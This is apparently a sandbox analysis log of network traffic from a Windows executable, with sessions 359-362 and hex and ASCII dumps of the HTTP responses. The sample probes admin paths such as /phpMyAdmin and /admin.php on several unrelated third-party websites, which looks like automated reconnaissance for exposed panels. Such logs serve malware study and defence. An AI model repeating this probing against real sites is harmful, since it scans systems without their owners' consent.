2023-11-26 05:59:43 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:43 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	65151	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	181	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	1483	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 50 4f 53 54 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 48 65 61 64 65 72 73 3a 20 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 20 41 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Access-Control-Allow-Methods: GET,POSTAccess-Control-Allow-Headers: Content-Type, A
2023-11-26 05:59:45 UTC	6709	IN	Data Raw: 33 65 37 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 Data Ascii: 3e7e<!DOCTYPE html><html lang="es-MX"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://gruporegiosafety.com/xmlrpc.php" /><script type="text/javascript">document.documentE
2023-11-26 05:59:45 UTC	1295	IN	Data Raw: 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 Data Ascii: global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--pr
2023-11-26 05:59:45 UTC	8000	IN	Data Raw: 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 2c 31 32 30 2c 32 30 39 29 20 32 30 25 2c 72 67 62 28 32 30 37 2c 34 32 2c 31 38 36 29 20 34 30 25 2c 72 67 62 28 32 33 38 2c 34 34 2c 31 33 30 29 20 36 30 25 2c 72 67 62 28 32 35 31 2c 31 30 35 2c 39 38 29 20 38 30 25 2c 72 67 62 28 32 35 34 2c 32 34 38 2c 37 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 36 2c 32 33 36 29 20 30 25 2c 72 67 62 28 31 35 32 2c 31 35 30 2c 32 34 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d Data Ascii: 234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 Data Ascii: 1f40 var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-gras
2023-11-26 05:59:45 UTC	7822	IN	Data Raw: 20 32 33 70 78 20 31 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 7d 23 6c 65 66 74 2d 61 72 65 61 20 6f 6c 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 62 6f 64 79 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 66 6f 6f 74 65 72 20 6f 6c 2c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 20 6f 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 64 65 63 69 6d 61 6c 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 70 6f 73 69 74 69 6f 6e 3a 69 6e 73 69 64 65 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 32 33 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 7d 23 6c 65 66 74 2d 61 72 65 61 20 75 6c 20 6c 69 20 75 6c 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 75 6c 20 6c 69 20 6f 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 30 20 32 70 78 20 Data Ascii: 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 72 6f 70 65 72 74 79 3a 61 6c 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 2c 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 61 64 64 69 6e 67 3a 2e 33 65 6d 20 32 65 6d 20 2e 33 65 6d 20 2e 37 65 6d 7d 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 32 29 7d 2e 65 74 5f 70 62 5f 62 67 Data Ascii: 1f40roperty:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg
2023-11-26 05:59:45 UTC	7822	IN	Data Raw: 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 54 6f 70 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 25 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 7b 30 25 7b Data Ascii: m:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	64895	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	189	OUT	GET /admin.php HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:42 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:42 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 52 32 4e 6c 56 47 59 54 4e 36 5a 31 4e 32 61 31 5a 71 4c 33 5a 59 62 55 68 55 57 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 54 49 32 54 32 67 77 52 47 70 54 5a 31 6c 49 61 6a 6c 4c 4d 57 6f 72 65 46 42 6a 55 6d 70 44 54 48 68 6f 52 32 45 77 5a 55 78 6a 5a 6d 67 78 4f 57 56 51 4e 32 74 34 56 45 6c 79 4e 6d 6c 50 59 31 6c 50 64 69 74 36 63 31 4e 4f 4b 7a 42 72 52 6b 78 46 51 31 64 52 64 6e 46 57 4f 43 74 7a 56 48 56 50 4d 6c 55 78 55 6b 6f 34 62 58 52 77 53 31 6c 51 4c 30 78 46 63 46 42 7a 64 55 4a 75 54 6a 42 57 65 56 46 75 53 57 56 79 5a 47 31 56 51 33 6f 32 4d 32 6c 53 53 6e 70 42 52 53 74 78 55 33 4a 4a 62 6a Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6ImR2NlVGYTN6Z1N2a1ZqL3ZYbUhUWVE9PSIsInZhbHVlIjoicTI2T2gwRGpTZ1lIajlLMWoreFBjUmpDTHhoR2EwZUxjZmgxOWVQN2t4VElyNmlPY1lPdit6c1NOKzBrRkxFQ1dRdnFWOCtzVHVPMlUxUko4bXRwS1lQL0xFcFBzdUJuTjBWeVFuSWVyZG1VQ3o2M2lSSnpBRStxU3JJbj
2023-11-26 05:59:42 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.4	65122	15.235.14.141	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	166	OUT	GET /admin HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:43 UTC	15911	IN	Data Raw: 37 39 35 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 795e<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:43 UTC	15172	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 62 6c 69 6f 74 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bibliot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	64705	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	190	OUT	GET /phpMyAdmin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:42 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:42 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 5a 4c 52 6d 46 70 64 48 42 31 4f 45 59 72 54 6d 4e 4c 55 57 73 34 4e 47 56 42 4e 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 47 70 69 52 56 46 77 52 31 5a 6c 52 47 4a 53 54 57 4d 30 52 30 64 31 4e 47 35 7a 64 33 46 49 51 6b 6c 56 59 7a 4e 4a 51 6e 46 4e 63 30 6c 36 53 57 38 79 61 44 4e 59 4d 6e 42 4f 53 6c 4e 7a 54 32 4a 43 62 30 59 72 4f 58 68 49 65 47 68 77 4d 6a 4a 34 4c 33 4a 45 4f 46 70 77 51 57 35 53 64 33 4a 54 4e 55 30 78 55 46 4a 4f 5a 57 52 36 64 45 35 34 4c 7a 6c 54 63 33 51 31 63 56 4a 58 4f 47 74 47 65 6e 70 71 61 30 4d 72 56 6d 70 72 63 56 42 43 4e 6e 42 5a 5a 30 6f 30 4f 56 46 7a 53 55 5a 4d 53 6e Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6InZLRmFpdHB1OEYrTmNLUWs4NGVBNGc9PSIsInZhbHVlIjoidGpiRVFwR1ZlRGJSTWM0R0d1NG5zd3FIQklVYzNJQnFNc0l6SW8yaDNYMnBOSlNzT2JCb0YrOXhIeGhwMjJ4L3JEOFpwQW5Sd3JTNU0xUFJOZWR6dE54LzlTc3Q1cVJXOGtGenpqa0MrVmprcVBCNnBZZ0o0OVFzSUZMSn
